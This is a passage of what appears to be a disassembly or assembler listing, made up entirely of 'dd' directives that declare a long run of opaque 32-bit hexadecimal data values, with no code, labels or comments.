		dd 0EE6F1600h, 21E0DCFFh, 0C3E200B5h, 31EC8F84h, 0FC0033DFh
		dd 4A125C4Eh, 182F9C68h, 18D652CAh, 341480EEh, 0AC20E9h
		dd 89143F4Bh, 3B0C48Ah,	0FF6C640Bh, 0B7B106CDh,	0FDA020B8h
		dd 3EA04801h, 2405EA0Fh, 1D5A64D8h, 0C11BC057h,	82EEBE4Eh
		dd 0BA508022h, 0E1B49260h, 493E07E2h, 0A0BD440Ah, 0D3416C07h
		dd 0C6BA2200h, 0D826B67Eh, 82480136h, 12C0934Dh, 4AE93098h
		dd 903DC278h, 38ED8045h, 0DB694459h, 0BC8F0F1Ah, 0DAC0351Bh
		dd 0AC0BF931h, 0AB1D3A01h, 0DD461927h, 514030h,	0C5D0B54Ch
		dd 2310D35Fh, 0DB8EF600h, 30638CBFh, 0EE293A6Ch, 9680BC87h
		dd 2617D067h, 65092785h, 0C1DEF135h, 0C030F800h, 0F3D500F6h
		dd 4597AAA6h, 0D7007D74h, 6A9DD6A5h, 3162CCh, 0CEE2F7E7h
		dd 0B8FF2B5h, 0E863AB00h, 8AFC2EF8h, 2A2405A0h,	0D069F093h
		dd 94B54698h, 7CB80200h, 6875DF21h, 0E1500DBh, 3129D7A0h
		dd 0EE008A67h, 9070AACEh, 0B335Ch, 24A22FD8h, 69742335h
		dd 0FC4EBE00h, 888F8A3Ch, 0AF190013h, 0F56A1CB6h, 0C81DBC3Fh
		dd 2B40FECAh, 0EC6DF372h, 69C50194h, 0E53BE023h, 0E2168068h
		dd 5DC88B30h, 0BEC0066h, 8DDA73CAh, 9209911Eh, 81B0361Fh
		dd 5D6B53CBh, 3DF3870h,	89EF4CBDh, 0A381BA3Ah, 0A646F027h
		dd 11E81800h, 3814B51Dh, 491E1C78h, 8CD38Bh, 69AC103Bh
		dd 850F3571h, 8E87DB6Dh, 0DC1560BCh, 48D9A1B3h,	4200FCE3h
		dd 76011FACh, 5A775709h, 800FA03Dh, 77A885A4h, 229E61h
		dd 35935B6Ch, 0CB6308B8h, 0D9244412h, 0BCE2D090h, 1C8E0BADh
		dd 0BB001586h, 7DB3AEB7h, 0CF07EA7Dh, 242DFF61h, 73417BC7h
		dd 0E829652Ah, 67AB2B03h, 3000E426h, 34BC72D7h,	0E6A1358h
		dd 9F2CCBC0h, 9ED6FE40h, 8602A6A7h, 2583AF36h, 81059DAh
		dd 69B0ADBDh, 0B31431h,	78D923F6h, 0B0720B30h, 61576A00h
		dd 49546E32h, 79C4258Ch, 1A20208Fh, 6C257AB3h, 0C2E81300h
		dd 0B60E5E6h, 6BCD0058h, 7279CAD8h, 683E8A57h, 0ADA20064h
		dd 1EAF927Fh, 0A9C100A4h, 0E7CE8F20h, 0F4009062h, 47CD39B0h
		dd 843226h, 0C8DF5C72h,	9A4853AEh, 0C3BB6800h, 9800B5Eh
		dd 0CD791C1Fh, 204B409Fh, 0EA944C1Bh, 4DCBF900h, 0D7BBCA85h
		dd 75A90E53h, 5B6027E4h, 431DD689h, 544CB874h, 0C221DBFh
		dd 7623A901h, 4EE84D88h, 0B8FB2E85h, 0F12E023Ch, 4A60100Ch
		dd 24000180h, 1B481C1Dh, 39548525h, 269EB3D7h, 46D08FF2h
		dd 0D5D3100h, 0A87CB13Ah, 86C77F1Fh, 0C13900BEh, 0DAAFCFC0h
		dd 9FBE31DEh, 410DE218h, 682A1EC0h, 0C9A200F8h,	9539660Ah
		dd 9048D25Bh, 0C83FD694h, 488F7E09h, 119786C1h,	2E820C20h
		dd 401873DBh, 0E8014609h, 5FAC60A7h, 22DE00BDh,	65B3B2A3h
		dd 0BA74EC4Ch, 30482000h, 0DEB50C61h, 97BB096Ch, 0C21AF9Dh
		dd 8AA23AEh, 85520C55h,	537E1A43h, 0CBBAC21Dh, 0A05E3001h
		dd 1081EE2Dh, 764CE7F2h, 184FEC7Eh, 0E200D690h,	0D2106507h
		dd 66D159h, 0F3489943h,	4BDE2EEDh, 2F223100h, 0BF77A720h
		dd 0B4350074h, 60B16889h, 6A018373h, 811380A0h,	14E0632Eh
		dd 0E09217CFh, 595700AAh, 86F8737Dh, 0BC7BE701h, 4CA49831h
		dd 16EF70h, 6EC943E9h, 7AFC9508h, 803C2B3Ch, 6DEEB2Eh
		dd 7F37BF9h, 6EC50F44h,	8B0BC00Ah, 1A983F45h, 0CE06A400h
		dd 0C365BED6h, 0F22B1CAFh, 920FBCE1h, 0B60033EDh, 1131FA43h
		dd 3A393Bh, 0A8BAB34h, 18A044E0h, 180B5852h, 5A02AC3Fh
		dd 12CE04EFh, 399160B5h, 0D8AD0069h, 5D1A9F45h,	9C01E3F2h
		dd 1D41D304h, 18803F12h, 71BAC74Eh, 403950E2h, 5B1EF83Eh
		dd 0E03202Eh, 7AAF68ADh, 0CA940028h, 43974615h,	3A3E5CFDh
		dd 0B220C9Ch, 0F939D840h, 795044Ch, 0FD9D5B6h, 7CD83C98h
		dd 27802476h, 0AD0A01F6h, 28EAD8CAh, 9BB53090h,	63C9580Bh
		dd 0C145E4Eh, 0B8302569h, 0E1D3998h, 0D0801043h, 8CFC5C93h
		dd 0EE90012Eh, 50B051D5h, 6828500Ch, 52659386h,	0C01D4318h
		dd 29F29930h, 38E7337Ch, 0D0E15310h, 68604C2Ch,	63CD9103h
		dd 225227B3h, 4E1A12A8h, 591AB7h, 5C486490h, 89441E2Eh
		dd 0BE918A62h, 2D850248h, 7C91740Bh, 0C2845811h, 0EB7981F1h
		dd 23DE6EF1h, 589C1885h, 0BE842396h, 814414E9h,	0D7E5140h
		dd 48536CADh, 0B33CDCE1h, 49EA5831h, 92980DFCh,	0C01438D9h
		dd 0E8000574h, 0C8430C20h, 0C0F11E3Ch, 9DF2B681h, 27601D47h
		dd 0BC755D31h, 0AC910553h, 53E2E96h, 5163C50h, 0C066411Ch
		dd 2691C15Ah, 0C94B054h, 8DE83706h, 77101FAFh, 0EB4539C4h
		dd 0C8D19A02h, 84A710BEh, 0A9C7D030h, 0B80142D2h, 0B278B41h
		dd 1081F1C8h, 0BE142CFAh, 0F96110CFh, 7C1BFE68h, 47741F29h
		dd 0ACBE0DB4h, 1DC0369h, 6990C100h, 0FA8EDC0Ch,	6A462AC3h
		dd 0F3F881A0h, 49BE12C4h, 8201008Fh, 369E1589h,	2A98890Fh
		dd 410C2135h, 19FCC3B9h, 0ABC9083h, 61D2D0B3h, 8CBC0784h
		dd 0D7744027h, 0F3009019h, 0BABDB4A4h, 0EA12410Dh, 48816579h
		dd 0CF407CC2h, 3AD93F81h, 863B721Ch, 2A604819h,	6E079CD5h
		dd 8A295166h, 0C894B984h, 28E2AC1Fh, 0CA54D101h, 0BEBC9E10h
		dd 48124D44h, 0A81841F9h
		dd 9F8EB41h, 88CD1BC5h,	0D7E62C03h, 0C74AB00Bh,	4FAB066Fh
		dd 0D9402118h, 9029BB09h, 0A3D8F51Ch, 334EA0Ch,	0C9001BCBh
		dd 7588F201h, 4249B4h, 0B328BBE5h, 64E00F15h, 408A77Ch
		dd 1481B00Dh, 89848010h, 29890D9h, 0D3006777h, 1D946BF2h
		dd 0C39F9233h, 49628F30h, 575D46D8h, 0A749A01h,	8D70F051h
		dd 0AE4EB050h, 0CC5C00E6h, 87B13304h, 90FA29CFh, 20202D6Fh
		dd 24D7D883h, 2374CEh, 6D57B2D6h, 0DA89DBF7h, 0D1A9630Eh
		dd 20BFC133h, 6C402DD9h, 3A85A09h, 49FE847Bh, 23D0C603h
		dd 34002B5Dh, 81A9625Bh, 717ABEB3h, 86CD00BAh, 0B2B73F10h
		dd 0AC0677B9h, 29725DFDh, 31810089h, 3F7A82EFh,	476FC712h
		dd 181780C1h, 1451E629h, 0E4CB3353h, 0B88E5E80h, 800C1E7h
		dd 53C30AE8h, 1647FAFh,	0A960FFD7h, 0F8FC8EACh,	8339BA0Bh
		dd 0E610859Ch, 51E403F9h, 549B49BEh, 0D1A64901h, 80062A71h
		dd 588EB261h, 0B52C26h,	8D3652F0h, 3C646C08h, 0E516037Ch
		dd 48007DB8h, 0E747A542h, 0DF4600D1h, 0D98449B9h, 0BB2B6112h
		dd 7A7004F7h, 448D074h,	0F07B0CF1h, 0D180199Eh,	3EB21199h
		dd 0F1C7009Fh, 60F9BFFAh, 0A161E8FCh, 1E01CE1Ch, 21108F51h
		dd 3E20957Dh, 0FBD00F20h, 7CF32078h, 0CD347A93h, 9409ABD1h
		dd 1418A050h, 374C7BD7h, 784D69C1h, 0F7045801h,	61791C43h
		dd 417C1089h, 509AF214h, 6095102Fh, 8809E137h, 7870035Bh
		dd 7C3FFAF0h, 0C9558134h, 821C0411h, 8D2AF461h,	0C0908B4h
		dd 0BC233C11h, 10FA4C43h, 0D0077720h, 0C0509008h, 8E65F63Fh
		dd 5B570B4h, 7F0C5D5Eh,	63704CA0h, 1B28F408h, 9829F8A4h
		dd 177AFCA3h, 192AD604h, 9D28C0A1h, 9A000CD3h, 7897A5E2h
		dd 38DBD2CFh, 818A097Ch, 207BB9h, 9BB501EEh, 6230355Ch
		dd 0DBB1989h, 387666C7h, 0D318517Dh, 8A206F9Dh,	80A13009h
		dd 5B16C448h, 0A42E4400h, 599DAC3Ch, 0CF3224D6h, 470F839Ch
		dd 11AEF626h, 0FB07610Ch, 284E8ED6h, 734B738h, 0F03C6278h
		dd 0CA9B30A2h, 2C1DC0AEh, 0B640EB53h, 0B3597B72h, 3D8BE811h
		dd 0F480DC05h, 0D973F5DEh, 0B2600C13h, 7B9B3EA9h, 753D748Fh
		dd 7108CF5Eh, 9645D3A4h, 486748A0h, 7F407551h, 7E9949h
		dd 792EABE8h, 17292B7Ah, 0C2142603h, 0B1D7F439h, 8DE04490h
		dd 0BA8B2735h, 840C6FF6h, 374D973h, 882E774Fh, 85D0B667h
		dd 0B760B93Fh, 22FD8E8h, 0FDF703BFh, 953E0796h,	0B0038878h
		dd 0E400AC8h, 1F583FEh,	372CFB48h, 544B078Dh, 96D003B8h
		dd 1100A0FEh, 8297FB59h, 0EE1344h, 0C97AF473h, 0E623366h
		dd 712EBE03h, 6640FE8Bh, 8A0E1F1h, 0D62C9678h, 0F4006E8Fh
		dd 0D9EF2DE1h, 0D84D0FD4h, 3441483Dh, 8A7C0A62h, 0B009F521h
		dd 500B0D0Ah, 40A84814h, 0ACA05DB4h, 0C0806478h, 0F9DF0083h
		dd 2F127C81h, 0A8661442h, 0D170F550h, 0E1C0A848h, 3F7E03C1h
		dd 47046178h, 0F7FB13EFh, 90E2D304h, 42264464h,	0B8E57229h
		dd 195DF062h, 28331090h, 0FDD6004Fh, 0F563C61h,	99E0FC49h
		dd 0D8628901h, 184D46E0h, 30D43461h, 0C31072EBh, 2B9A7979h
		dd 7C3EBEC0h, 0D083F4A1h, 937BF9CFh, 8C1CAEF8h,	7EBC1FFAh
		dd 3D011818h, 1E59C8C8h, 0C0348D8Ah, 0D6619856h, 0DA490F7Bh
		dd 40673C50h, 0E04212B3h, 0A1C04A08h, 83203F90h, 85F5FA15h
		dd 0E97830B8h, 1260B004h, 51BD3549h, 0F90CD81Ch, 0D808FAD6h
		dd 888C8552h, 0FE1382ACh, 720FD6B7h, 1A9AFC43h,	0F4811C2Ah
		dd 8B618D66h, 304ED228h, 293AE035h, 933E2C01h, 49B2D681h
		dd 62017198h, 60437D48h, 0A2F130D8h, 0CE6F3591h, 0F25078EEh
		dd 4303088Dh, 598BEA15h, 801FED97h, 12C09818h, 32F801C6h
		dd 0D7DAA855h, 8A91987Ah, 888CC329h, 0DD30F89Eh, 0EFA390Ch
		dd 7888907Dh, 6258A88Dh, 41753F96h, 0F71E0C8Ah,	0FAA68E48h
		dd 0F0281Eh, 0DF26EC52h, 0AB9D8D0Ah, 0A454F703h, 0F079CA84h
		dd 2079E08h, 13423205h,	0B8407BADh, 9D0DF250h, 784E3571h
		dd 0E80FE808h, 53891574h, 4E038042h, 0FE8C4A18h, 0FB40C894h
		dd 0B0816498h, 88B1B3E1h, 9072D1A2h, 0F75A3980h, 32C75382h
		dd 6C009DF4h, 0F91183C3h, 0EE8DF16h, 8E34588Bh,	913CBD44h
		dd 949552B0h, 898C0E10h, 0FD9080AFh, 922BDA46h,	3BC31200h
		dd 27BB0696h, 521E8187h, 38F130C7h, 74F764A2h, 84660178h
		dd 78BA1BDh, 0C8C1A891h, 0EE0CBF7Ch, 109FF58Eh,	1B850010h
		dd 3BF85B49h, 0C8A9D514h, 7A243048h, 0C3E59400h, 193AB676h
		dd 0B20D768Dh, 58FA004Ch, 3CA9407Fh, 91F85ABh, 242CDC61h
		dd 90446C28h, 789A00A4h, 4063FA94h, 0FB3A028Fh,	216E30F5h
		dd 376E8C7h, 44B645C6h,	7C8990D7h, 0C4228E07h, 8C01DFF6h
		dd 898E1ABDh, 0CD7C60h,	5B3D49C2h, 3CA88FE3h, 88F39028h
		dd 160F44E2h, 67D240A5h, 201D6B5Bh, 32F48017h, 0E93488h
		dd 9E9303D7h, 0DDA59035h, 1F9BB301h, 1AB1D1EDh,	10EF048h
		dd 69873A47h, 0EDCA4485h, 0EA77CCA9h, 539F48h, 84315037h
		dd 0E0A0E46h, 637CF77Ah, 0D8E80856h, 0CAFDB980h, 7ADBF46h
		dd 53AE876Fh, 40934471h, 0C2CA86A2h, 4A280064h,	0C8BE18F5h
		dd 342C243Ch, 44059836h, 8C0E0938h, 0AFD0C48Bh,	0FAB29DC0h
		dd 8DE0C096h, 0B12DE888h, 58002490h, 33946610h,	1EFB68FEh
		dd 40ADA38Ah, 57CB192Eh, 740048E2h, 85B1B7FCh, 1E508F21h
		dd 80F38649h, 4F67239Ah, 8900D3BAh, 939BC283h, 9938ACh
		dd 0C5C77CE0h, 0F064A948h, 0C64EFC00h, 3E33858Fh, 0E9430050h
		dd 0A8E58034h, 4704E04Fh, 27EF3C22h, 0FCA1A3C0h, 0A22E006Ch
		dd 616BB52h, 8CF3E640h,	49197540h, 871C0011h, 9A06D8C3h
		dd 43E893EFh, 0B61A2F03h, 0E6E5AD1Bh, 975A01A8h, 17983A13h
		dd 0E472F0B9h, 33070A0Fh, 1241E0A0h, 32FCD42h, 85F70F3Bh
		dd 6788E122h, 0C2185FF5h, 0C87017E5h, 7D701FBAh, 286601B8h
		dd 0CC782FB5h, 93003655h, 1CCB5691h, 95634Ch, 5FB4800Ch
		dd 184B9B25h, 744240C0h, 0E9E3C82h, 0BB36159h, 3387A303h
		dd 0C6FC2006h, 2090D9A8h, 990B396Ah, 1FBB728h, 469A1814h
		dd 3588D0h, 10D91CF6h, 4DA2E827h, 0C2926100h, 15E1BC4Fh
		dd 0D4D500B6h, 0D8DDCAEFh, 2202766Bh, 7F7D3D19h, 510EE023h
		dd 21650F13h, 24002ABAh, 4FF1BCE3h, 17942D0Eh, 7A18988Bh
		dd 1F7EDFB0h, 1E6D03A6h, 7078769Ah, 32993009h, 7F5D0019h
		dd 3BED616h, 1F152C75h,	56B8F834h, 1478C8A3h, 50096178h
		dd 8E75A4E4h, 2B2260FCh, 30D5CC51h, 11101774h, 0DD00BCA8h
		dd 16C17B40h, 0E2CB9Dh,	0E4D0201Eh, 38D3CA3Eh, 5A81C661h
		dd 0B080DA31h, 0DCCBC27Fh, 7400E01Ch, 3F3D8522h, 63268BE6h
		dd 0E9962050h, 0D9F2FFF8h, 1E021E3Dh, 9926D00Ch, 50B13738h
		dd 600E6BA1h, 1FF392FCh, 275232Ah, 64719ABAh, 6B569940h
		dd 65C801Fh, 0E73B8240h, 7D99283h, 0AD29686Ah, 0D8BBC353h
		dd 0CCAA2FD0h, 8C77E51Ch, 2DA2A580h, 1DB020C2h,	1B726135h
		dd 0F801215Fh, 0E350C093h, 0D4CC3DD5h, 1BD10015h, 914105A5h
		dd 0C0002E99h, 378045ABh, 74E5D861h, 8C9C0CADh,	1748AC79h
		dd 9D936B00h, 0D16F5B7Eh, 8676330h, 20006162h, 0DA9A1437h
		dd 90ACE3DEh, 8AA00674h, 58D4282Eh, 0CC44777Bh,	1C8D4336h
		dd 7E449321h, 5F32748Bh, 99FA7120h, 70C100A6h, 0FA2FBEAh
		dd 4F000A92h, 0FC18D95Fh, 705C46ABh, 38691875h,	0A68D3874h
		dd 6E9E41C0h, 2608BCC2h
		dd 1B559E0h, 47E73E14h,	4898A19Ch, 86B93D70h, 48907F00h
		dd 952636DEh, 0D5151D78h, 9CE60055h, 3C544AC9h,	4235A800h
		dd 6B331730h, 84EF01F5h, 99D7A4BBh, 9C8AC8BDh, 0CF2EE800h
		dd 0C9966792h, 4D0A03C4h, 37B493C0h, 0E378B0CFh, 0A10021C2h
		dd 8FFD3426h, 0A00E33DBh, 1213DAh, 0CB65E95Fh, 7E74770Ah
		dd 47028100h, 0DE4914A2h, 0B59E0FE0h, 0FE07D3D5h, 6DC07F3Eh
		dd 0ACB07F8Bh, 0C000B390h, 0F8709467h, 0F8E9948h, 32EEB88Dh
		dd 7F07E280h, 0CA01AFF9h, 2EA22AE8h, 8F40F8AAh,	5C346C10h
		dd 900064DDh, 5A9F3C57h, 7DB8E80Ch, 14E6270Eh, 7794C02Ch
		dd 601D62C2h, 8BBB216Ch, 3C1948CFh, 0F5035B6h, 600556F0h
		dd 7A3B2010h, 0D201E0A6h, 8E3CDABh, 880A7D5h, 6C1CF1C4h
		dd 8E731D18h, 0EA421E00h, 7659D79Bh, 994901A6h,	402C157Dh
		dd 4562E487h, 0DF24A406h, 0F990B11Fh, 303E5130h, 9528BCDAh
		dd 8D67C610h, 0D6905A79h, 3D725CADh, 0DD8F28B2h, 64E6BF90h
		dd 61F6C044h, 0A574AE00h, 845D9399h, 12B0094h, 576D032Eh
		dd 1A076FF1h, 0ACA8EEB9h, 6C4C78D0h, 0B65201CFh, 2AAE41D9h
		dd 6301E49Fh, 6FF04402h, 0E036AD19h, 17AFDC2h, 0C0A659F6h
		dd 0DCFE9164h, 8F02D076h, 0D17188D8h, 0F115C003h, 0FB9500F3h
		dd 4BA4D682h, 0DC014072h, 0C425C2BEh, 7ED47BA6h, 836100EEh
		dd 1DD1595Ch, 0A500530Ah, 0C8CFC9D9h, 7E3F8650h, 0F7C2001Ch
		dd 0FE8CFBD3h, 82074D3Ch, 35361CFh, 0F226690h, 0F72B00AFh
		dd 91DE1617h, 8E0081CDh, 9FB10933h, 30B9986h, 2328E818h
		dd 0A6884BB2h, 0FB00DFE2h, 4ED695C3h, 79850476h, 32AA00A7h
		dd 0E22489Ch, 3A00344Dh, 0CDC230A9h, 0E8909835h, 20B46937h
		dd 2F40890Fh, 0A060F271h, 0FC5D5300h, 12E1C9DDh, 8D800ADh
		dd 18440789h, 8D7F1DC7h, 0D003ACB0h, 0D9748B2h,	1000ED21h
		dd 12EF6ED5h, 49AE602h,	0B41E1348h, 83AB097Eh, 0A70916h
		dd 513AEE78h, 9D6016C4h, 0F28DAE0Ch, 60DE08E5h,	0BA5B2075h
		dd 0ED00EC2Fh, 40AD3B8Bh, 0E4A33C5Dh, 61FE60CEh, 0DB50C218h
		dd 83003475h, 7412F391h, 8F9E2Ah, 5C9B0AB6h, 22AA0FE7h
		dd 7B78B360h, 1DFA9F40h, 27CE7Fh, 362B691Bh, 0DF00A03Ch
		dd 41C814C9h, 0A82F68h,	0E4BB33C1h, 0CB13CC78h,	28F1CD15h
		dd 63B503ACh, 0E010FAE8h, 18EC029Eh, 2874A10Bh,	3FE0BB31h
		dd 3C001AB0h, 3E2CF149h, 546AD8h, 4BF47EE2h, 2A1430A2h
		dd 8A71320Eh, 0A7500012h, 5C6BE52Ch, 9F00D515h,	0A8C3825Ch
		dd 2803B465h, 2C2B927Ah, 0AAF3B7EBh, 10D0D74Fh,	905D840h
		dd 9271993Eh, 1DD9E002h, 8AE26B60h, 7E33F700h, 84F5EA76h
		dd 3E47E20h, 6D434F14h,	30009CD7h, 0C3CEC2A2h, 0F55297Eh
		dd 0DAEBB901h, 0E3D36A80h, 79307CFCh, 838C58D8h, 0A9B038C5h
		dd 47708980h, 0DE99612Fh, 0A49FAB00h, 0B191EF4Ch, 0F4D600F1h
		dd 88BABBC0h, 300297Fh,	364FD46Eh, 27143Bh, 0F10C2BCCh
		dd 84A84D1Eh, 0D2635512h, 6F793C00h, 0F2B313C6h, 0EEEF1C15h
		dd 80D6987Bh, 0C80001DAh, 0B3ECBDC4h, 1693898h,	1A054431h
		dd 0F0349EE6h, 6800283Bh, 257C7E65h, 39507464h,	53802C60h
		dd 6ACC0AB0h, 56001263h, 38A5D5FCh, 28F9D79Ah, 30808022h
		dd 3019FAAEh, 0D120C7F8h, 867B7Fh, 0F682DA35h, 0E6A9E413h
		dd 8E49F001h, 7F8C15A7h, 8604BDE6h, 108F4536h, 0F8EB2800h
		dd 90B891C8h, 12400061h, 4286A425h, 967C11DEh, 2DF8827Fh
		dd 94DC2116h, 0FD27D00h, 0FC387CD7h, 0D0973056h, 0DAB0F259h
		dd 50959631h, 0D0095258h, 60A0CB90h, 0E3005EECh, 0CAB0109h
		dd 353BEEh, 0DE23747Ch,	2DFA395h, 0DD14BD01h, 0A81B6F12h
		dd 21C48703h, 8E008D63h, 90335DCCh, 0EA531871h,	5F6540BEh
		dd 2C69056Ch, 5C3D7CFBh, 1F0B9070h, 5C80CADCh, 26711DDDh
		dd 0EC2B48ADh, 525A360Fh, 0C88F86EBh, 1FF11180h, 90186D5Dh
		dd 9881A5EEh, 4C361454h, 28CF4CA9h, 484EC2A0h, 6D3932A3h
		dd 64B454F8h, 0D25E2E14h, 3A528194h, 0A980B4EEh, 0D34FB7AFh
		dd 472AAACEh, 857A94A0h, 0C0AEC01h, 569F46CBh, 1C5E1CCh
		dd 662BBF59h, 5083E890h, 25144DECh, 6DE48200h, 340A72A1h
		dd 89C700B2h, 7A2ACFD6h, 4505A584h, 0A980BF13h,	8008AC14h
		dd 0B4D3E8B0h, 26F60EF4h, 0EE0016BAh, 6CF82192h, 3C5E190Ch
		dd 8E6872h, 0CAB19BD3h,	5F200BB4h, 0DF393200h, 99899437h
		dd 0EC6F001Fh, 8F595773h, 0A9181678h, 0EBD1B147h, 58C03DCAh
		dd 6B0B5860h, 7207761Fh, 6490B50Dh, 97F5D340h, 0AB7FA5Ah
		dd 31607402h, 3DA080F4h, 0D46483B0h, 88E09D06h,	0C03226h
		dd 0D3145F40h, 37D09C0Fh, 80446137h, 2C544B60h,	64400313h
		dd 0AF1ADB88h, 1F7D03Eh, 0BB3AE956h, 18F8F4B0h,	9D4600C1h
		dd 6ABF3BFEh, 0C01F72Dh, 1C92CAD4h, 0E613504h, 84919810h
		dd 0B7E4A8E1h, 0CBD70B0h, 257A889Eh, 0FE185220h, 0F474288Eh
		dd 41E0002h, 946DD850h,	0AB00F58Bh, 95B41A1Ch, 0F7B7DAh
		dd 7CBB7172h, 534561ADh, 0CAE2600Eh, 34069768h,	521063AFh
		dd 54B804C9h, 10898430h, 3A2A9B73h, 70347Ch, 0F28F57C7h
		dd 3A02E540h, 0D6A6E100h, 535F7247h, 963C3EBDh,	0DDB45E80h
		dd 692799A0h, 0DF4DCB00h, 0EA1E70C4h, 3677D0Ch,	0A948346Fh
		dd 66C00162h, 4100B927h, 62B65B6h, 1C315Eh, 0B8CCC58Ah
		dd 93F8171Fh, 0C689D00h, 735007B1h, 2B9F3F85h, 76BD0500h
		dd 0F6A7C6ABh, 8B00F0E2h, 616CB1F3h, 0B55428h, 0C46412D7h
		dd 0E205CF3Fh, 413A580Bh, 8BF180C2h, 0C12E30h, 4B408676h
		dd 0E5B2F061h, 0C3EA5Ch, 79A39D57h, 18FDBh, 6525B30Bh
		dd 0C7ED360Ch, 83964C00h, 14B8C25Bh, 6C4A0013h,	0DA09C688h
		dd 800EA08Eh, 60D4D657h, 0A697F2CBh, 207BAAh, 6518C773h
		dd 1449D2F9h, 0BDCE7B3Ch, 8FB8D054h, 0DA70BE00h, 7620D4E5h
		dd 72D1D3Fh, 2C77C0D8h,	2538DF57h, 18D43A54h, 26055800h
		dd 1BF4E6CEh, 86AD1FACh, 7CBFC069h, 0DD38E7B8h,	6CF2D201h
		dd 4B823D5Dh, 7C30EFECh, 99E600F9h, 0CBF0F36Dh,	7D305A9Bh
		dd 11779ADEh, 8F6900E1h, 0FF5681A8h, 0DA72A51Eh, 550F3212h
		dd 0D5E63D06h, 62093C58h, 369BA687h, 954FB079h,	7007643Bh
		dd 0A272B1DFh, 2157EB20h, 0BFD6004Dh, 0CF5B9982h, 0F4006781h
		dd 689F39D4h, 1AC30F1h,	0FBBAD8E6h, 0C8AD6A1Dh,	0A31F2595h
		dd 1C838A92h, 0A155B0DFh, 0D30AEF0h, 0E5CD1F46h, 0DAEDC376h
		dd 903EDF68h, 1E1F971Ch, 0F7276D00h, 53138Eh, 0CDFFF52Ah
		dd 4DE4EC85h, 9F5012ECh, 0C249C0C4h, 66A700A0h,	71292A93h
		dd 1CFB0081h, 0CF5A0AA3h, 5E0034F1h, 0DB663002h, 1F958ACAh
		dd 0C7BB8892h, 3E2D0Ch,	0CB3AB28Fh, 68AAE4Ch, 0B559E579h
		dd 5C350021h, 5441D10Eh, 0E4063AB6h, 4E809248h,	0ABE30188h
		dd 33A2C022h, 0C360C60h, 9555498Ah, 511FD8D8h, 4880F8C0h
		dd 6EC3151Eh, 83CD0026h, 807E7D97h, 33010A39h, 0BB18871Bh
		dd 3C20343Eh, 0D032006Fh, 233CD359h, 560009A1h,	0F8108C47h
		dd 1CD99E8Dh, 8FB269F1h, 60AF063Bh, 5C40346Fh, 0DF5B82E9h
		dd 41B81B00h, 57AF4662h, 53B61F7Ch, 0ED3DEh, 0A2D89DEh
		dd 0D490AAABh, 7B873001h, 0D224C15Fh, 8C65B880h, 0D33FB8FCh
		dd 8A0FE8C0h, 12E65259h, 5CB471h, 0CFB29A64h, 8858A92Dh
		dd 6230600Fh, 18376797h, 0D0C7A1E2h, 3988D293h,	0F61A309Ah
		dd 674A8F10h, 0F1754600h
		dd 55D0831h, 0BDB81C6Dh, 0D7803CABh, 0C2B4C169h, 5CEEFD57h
		dd 9FE8E000h, 0C73BCFA4h, 931E00BEh, 636284B9h,	0EF0025D8h
		dd 387D9E3h, 0DEC81Bh, 1D5D3F61h, 0C6E44D23h, 0C1000DF8h
		dd 7CCD84A4h, 60788B4Ch, 6D4138BBh, 0F005BAAh, 0BE8E81F0h
		dd 16EB0CBh, 0A11EEE79h, 70BDDA89h, 8B00425Fh, 461BC083h
		dd 9422EDh, 0A6B2FB06h,	0AE6A5E2Ah, 527C7700h, 0DAFE03C7h
		dd 0A26B006Eh, 43E304BDh, 1912A7A9h, 5C13A6FAh,	80A0B20Fh
		dd 6173C0C7h, 794300B5h, 180850F5h, 621E48F7h, 4A004CA2h
		dd 0A4CB92AAh, 67B20013h, 23093B5Bh, 6B005372h,	85FB0490h
		dd 499C0Ah, 0CFE03387h,	0BDF8D24Eh, 89866700h, 98E8755Fh
		dd 498D00A3h, 31C2824h,	0DB0E6478h, 40C04BFBh, 0BA6A3062h
		dd 21890E05h, 29802026h, 7224F7ACh, 2D31F00h, 0E30F3954h
		dd 0ABDC0745h, 0C0FD5DC0h, 24781614h, 10914205h, 489055E1h
		dd 30D7B418h, 76A826C1h, 8F046EAFh, 223BED21h, 91F01E80h
		dd 0B03204F1h, 800FE86Ah, 3C74ADBCh, 17831100h,	67FBECDCh
		dd 71AA00B9h, 4247FAC9h, 9E71F8F0h, 0A707E60Fh,	1D5180CDh
		dd 358BD8Ah, 2774C7A0h,	8CE103BFh, 7CDDC8CBh, 6A191703h
		dd 0A840E4E3h, 1941C9Fh, 857F578Dh, 0D04FEEF7h,	80702E5Dh
		dd 4602427Eh, 3449DC79h, 0E21D404Eh, 0D1120006h, 7C09C24Ch
		dd 540669A9h, 18BFC11Fh, 0E17B1D50h, 0CEB34298h, 0D0606FFAh
		dd 490045C5h, 2418E73h,	93EC24Ah, 987C0A3Bh, 831EF000h
		dd 0B70020D2h, 0FF244786h, 0EC1433h, 0E99EE889h, 9A9119A4h
		dd 22D7A714h, 0D5B0085h, 4198789Dh, 0D49700FDh,	9C898AA4h
		dd 0B6E0A77Fh, 0DA87D002h, 0E04F0DB1h, 0E2AEA5h, 0E3748CD1h
		dd 14D830AFh, 0E8B0607h, 0EC0728C3h, 0CAFD1C00h, 165E7B23h
		dd 0E30B3Ch, 0E5A1FEEBh, 3000C2C3h, 0D3381B3Dh,	474F5D8h
		dd 93753977h, 0BD00805Fh, 3D485B97h, 0B53000B4h, 189D6E1Dh
		dd 0CDB00033h, 105986A0h, 0E500D5FDh, 0E73C2244h, 3A06F5FBh
		dd 8B805785h, 6C40A3C4h, 11000954h, 0DE7F3B45h,	30347583h
		dd 4336BAC7h, 3A0057E0h, 0EF62B790h, 0DE6A7Ch, 0FE2ED6D4h
		dd 0FA511B99h, 0BFF8F100h, 184406E6h, 23333BD0h, 85EC8900h
		dd 0B72AAA3Eh, 71C3D100h, 667E9E21h, 682B4D78h,	0F172D213h
		dd 8FE2803Dh, 9B75716Bh, 0F9AF862h, 64D55BDBh, 91889EC0h
		dd 0D1007FD0h, 0B85EE63Bh, 13496F58h, 418BF489h, 0C7353E20h
		dd 10E0DA09h, 0B4012EA6h, 54E697A8h, 1885182Fh,	8032027Bh
		dd 55174564h, 5D4CCD07h, 397D7D08h, 0C01274D4h,	0AEFCE0A1h
		dd 847F8C11h, 720A2300h, 0DE6D21CDh, 0A1C4039Ch, 0CC24931Bh
		dd 627750D8h, 4F103700h, 0B9561509h, 8B130111h,	0CCF9E6C0h
		dd 0A7BEE04Ch, 0DA45D200h, 819C5DE1h, 58170060h, 8CCCFA62h
		dd 86608531h, 2DF44A71h, 4880500Fh, 0D72500BEh,	65D8712Eh
		dd 1CC04B59h, 549E1FA8h, 0B97503E3h, 2D72BF74h,	8EBCF10Ch
